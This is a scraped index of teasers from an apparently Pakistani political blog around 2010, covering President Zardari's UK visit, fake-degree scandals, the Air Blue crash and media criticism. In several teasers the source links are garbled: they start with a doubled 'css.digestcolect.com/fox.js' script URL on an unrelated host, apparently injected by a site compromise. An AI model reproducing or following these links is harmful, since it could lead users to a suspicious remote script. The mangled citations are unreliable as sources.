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David Cameron: The Saddam of the Afghan War – By Ahmed Ali Abbasi: On his recent visit to India, British Prime Minister David Cameron callously displayed his inexperience as a leader and his inability to represent Britain at the international stage. In the great game where leaders from around the world
PTI UK’s protest against President’s Visit; Look at the language used: Related post: Imran Khan’s PTI is the most ‘civilized’ political party in Pakistan I stumbled upon a press release of Pakistan Tehreek-e-Insaf UK Chapter about a successful protest against President Zardari’s visit to the UK on Aug 03 2010
Look both ways before attacking Pakistan: This is probably one of the most sensible pieces of opinion I have read on the President’s visit to France and UK. Majority of the authors focus more on his personality than the need of the President’s visit.
Return all the money you earned! Supreme Court roars: As they say there is an eerie calm before the storm. After a few weeks of quiet, the Supreme Court is on to it again. This time asking a PML-N legislator possessing a fake degree to return salaries, allowances
Let’s wipe the tears of the victims- By Tasbeeh Fayaz: Rainfall seems to be pleasant and refreshing for the well off people, who live in urban areas but at the same time it appears to be mournful for the destitute, who cannot afford proper homes. Last few days proved
Man in charge says Pakistan Steel to become profit-making entity: Man in charge says Pakistan Steel to become profit-making entity Express Tribune, August 3, 2010 KARACHI: The financial policies being followed at present will turn Pakistan Steel Mills (PSM) into a profit-making entity by the end of this year.
Why no chants of accountability of PIA Pilots? by Noon Meem Laam: We as a nation are fixated with politicians and political parties. There are many holy cows in the country like the Armed Forces, Judiciary, Media big guns, some industrialists and many other professionals who are chosen to be ignored
Why the President Should visit UK as Planned – by Ahmed Iqbalabadi: British Prime Minister, Mr. David Cameron, while replying to a question in Bangalore last week warned Pakistan that it should not be allowed “to promote the export of terror” in the world. He said it was intolerable that Pakistan
Confessions of a desensitized journalist – by Sadaf Khan: Source: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&ibteda.wordpress.com/2010/07/30/confessions-of-a-desensitized-journalist/ As Pakistanis we should now all be well versed with disaster coverage. Bomb blasts, terrorist attacks, violent protests, military operations, natural disasters – you name it and we have seen it all. However, instead of making us
Why Look For The Black Box When You Have Saaleh Zaafir?: Source: Cafe Pyala The Jang Group in general and The News in particular are just so lucky. On their staff they have someone who is not only a fearless and insightful reporter who is never one to shy away
Air Blue plane crashes in Islamabad – 152 were on board: An Air Blue plane flying from Karachi to Islamabad has crashed just outside Islamabad. Till now only a few bodies have been recovered and thick smoke is rising out of the Margalla Hills. Let’s pray that casualties are as
Another Glaring Example of Yellow Journalism by The News Investigative Cartel – by Ahmed Iqbalabadi: I have not been very keenly following the matter of “massive losses” of Pakistan Steel and the alleged perpetrator of those losses. All fingers are pointed towards Riaz Laljee and a connection is somehow or the other made with
Why are opinion pieces ‘Top Stories’ in The News?: Am I missing a point? Weren’t Ansar Abbasi and Shaheen Sehbai always propogating the fact that the CJ was restored by General Kayani by holding a gun to the PPP’s head? Why are opinion pieces ‘Top Stories’ in The
Clinton’s focus on people-friendly diplomacy – Karamatullah K. Ghori: Clinton’s focus on people-friendly diplomacy By Karamatullah K. Ghori Dawn, “Encounter”, Sunday, July 25, 2010 HECTORING comes to Hillary Clinton naturally. As First Lady, then Senator, and now a Secretary of State enjoying the full trust and confidence of
Questions to Dr. Farrukh Saleem – “Welfare State”: Dr. Farrukh Saleem has elucidated some very crucial points that he found out about while on a flight back from Canada to Pakistan. His discussion with a former resident of Mardan and now a permanent resident of Mississauga in
Mian Iftikhar’s son killed by gunmen – LUBP’s condolences: It is sad to read about Khyber Pakhtoonkhwa’s Information Minister, Mian Iftikhar’s son, Mian Rashid who has been gunned down near Nowshera. According to Express Tribune: The incident occurred in Pabbi area near Nowshehra district where Mian Rashid left
Drifting apart? Is there is a tiff between the Sharif brothers?: Source: Associated Press Is there is a tiff between the brothers? Are they missing the late “Abbaji”? Maybe it is the “good cop, bad cop” being played by the brothers. Stay tuned for more insider information. Drifting apart? By
An unfettered media – by Aliya Anjum: Source: Pakistan Media Watch In her Daily Times column today, Aliya Anjum continues the public outcry for a responsible and constructive media that provides something of value for the people and not just cynical politics to increase advertising revenue.
The Fund for Peace – Rejoinder to Information Ministry: While we as Pakistanis are aggrieved with the position Pakistan achieved in the Failed States Index, as a matter of ethics and fair play, we are posting the response to Information Ministry by Dr. Pauline Baker, President of The
Why Pakistan Needs a Debt Relief from the World?: The International Monetary Fund’s Poverty Reduction Strategy Paper (PRSP) for Pakistan was released in the first week of July. The underlying message of the PRSP was the acknowledgment of the fact that Pakistan has paid an immense price for
Lordship CJ’s selective honesty ? – by Jinnah Bhutto: There are few things which cannot be compromised based on our religious teachings. Firstly, if you ever find out that your Imam in the mosque is corrupt (likes to have a drink once in a while, when mood is good
– پاکستان نہ کھپے سے کھپے تک – by Amir Nasiruddin Sayani: وہ 27 دکمبر کا دن، محترمہ کا تاریخی خطاب، وہ عظیم الفاظ، “ملک کو آپ بچائیں گے ، میں بچآنگی ،اسی لئے میں اس تاریخی لیاقت باغ میں آہی ہوں.“ لکین دیکھتے ہی دیکھتے ایک پل میں سب
Courts accorded temporary endorsement only ? – by Jinnah Bhutto: I got a kick out of reading the news about Justice Khalil Ramday’s comments regarding constitutional amendments petition being heard in the Supreme Court these days. His remarks sounded not just funny but hollow as well. He said,
The curious case of Abid Sher Ali- by Umair Javed: Source: Recycled Thought The Curious Case of Abid Sher Ali Apologies for the really cliched title, but there is no other word, apart from curious, to describe Mr Sher Ali and his role in the fake degrees
Politicians are their own enemy – Ayaz Amir’s article: Ayaz Amir was a renowned columnist years before he became an elected legislator from his hometown of Chakwal. Urbane and suave, seeing him with the PML-N makes me wonder about his judgment about a party and its leadership. One
Fake Degrees Vs Fake Petrol Bills: Source: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&pakistannewsblog.com/fake-degrees-vs-fake-petrol-bills/ A lot is being said these days about “Fake Degrees” and the political black sheep sitting in our assemblies. The media is leading the campaign to cleanse the assemblies and our honorable judges are providing the
Final figures of FY2010 by Pakistan Automotive Manufacturers Association – by Ahmed Iqbalabadi: Pakistan is a strange country with contradictions abound in what we see and what is made to be seen. On one hand, we are always cribbing about the increase in fuel prices, the growing inflation and rising poverty but
Issues With Our Education – By Pakeezah Saadat: Etymologically, the word education means educare, which means to ‘bring up’ or ‘bring out’ the potential and the creativity of an individual. It mean to bring out the real creativeness from inside ‘you’ and to display in some form
Zardari’s China policy- By Shahid Javed Burki: Shahid Javed Burki is a renowned economist and also belongs to the anti-PPP divide. He was a minister in the interim cabinet after the removal of the 1996 government of MBB. This article that appeared in Dawn is extremely
Yet another instance of lawless lawyers: Judges announce 15 day strike http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&tribune.com.pk/story/27304/judges-announce-15-day-strike/ LAHORE: Civil and additional sessions judges in Lahore announced a 15 day strike after lawyers forced a sessions judge out of his chambers today. The lawyers also took out a rally from Aiwan
“Aisay dastoor ko, subh-e-bey-noor ko mayn nahee maanta”: “Aisay dastoor ko, subh-e-bey-noor ko mayn nahee maanta” – Shahbaz Sharif in his revolutionary speech in early 2009 This verse is from Habib Jalib’s poem, Jamhooriat. Shahbaz Sharif had taken it to the next level by singing it in
Sensitizing the Degrees Verification Process – Saleh Zafir’s role: With no National Assembly in session currently where Saleh Zafir could write his salees Urdu and applaud the 2 hour long speeches of Chaudhry Nisar. Neither is the Prime Minister traveling that Saleh Zafir would be free loading a
The evolution of Dawn News – from English Medium to Urdu Minded – by Ahmed Iqbalabadi: Being stationed abroad, I do not receive many Pakistani channels. Until February 2010, I was a little spoilt for choice by receiving Geo!, Dawn News, ARY, AAJ News, PTV and Indus TV on my receiver. Having moved residences, the
Zardari in China – by Amjad Rashid: It is very difficult for a country to maintain balanced relations with its neighbor countries when most of its neighbors are super powers of the world. Pakistan is situated in such a geographical area that it has China, Russia,
Failed States Index – Fund For Peace acknowledges Pakistan’s rejoinder – by Ahmed Iqbalabadi: I had written a detailed analysis of Pakistan being termed a failed state on June 23, 2010. the article can be found on http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/16423. Pakistan submitted a rejoinder against the findings of the index and labeling us as
Hypocrisy?: A picture is worth a thousand words. Chief Minister Punjab, Mian Shahbaz Sharif is seen here cutting the cake to celebrate United States of America’s Independence Day on 2nd July, 2010, the same day the terrorists hit Data Darbar
Judiciary Strikes Again – LHC provides relief to Sharif Brothers against NAB – by Ahmed Iqbalabadi: The support base of Nawaz Sharif and family i.e. the judiciary has struck again, providing relief to the family against NAB. It is all but strange that appeals against NAB in favor of Nawaz Sharif are acted upon
Punjab govt’s inaction against militants irks GHQ; Contradicts Sharifs’ lack of intelligence sharing assertion: PML-N’s links to the Pakistan Army are well known. People supporting the Sharifs are at critical positions in the scheme of things in the Pakistan Army and the Intelligence. The brothers were protected for years by key people in
Pseudo-intellectuals should run the state of Pakistan – by Ahmed Iqbalabadi: From the time I can remember as a child, I have heard the following from our pseudo intellectuals: “Mulk mayn inqilab aaye ga”, “Saray Siaasatdan chore hotay hayn”, “Pakistan mayn kuch acha nahee hay”, “Humayn Pakistan nay kya diya
King of “churnalism” goes to court: After having been stopped for writing defaming material against Riaz Laljee, the king of “churnalism”, Shaheen Sehbai has gone to court seeking damages from Azim Daultana for his article Differentiating between journalism and ‘churnalism’. Good going Sehbai sahab. Also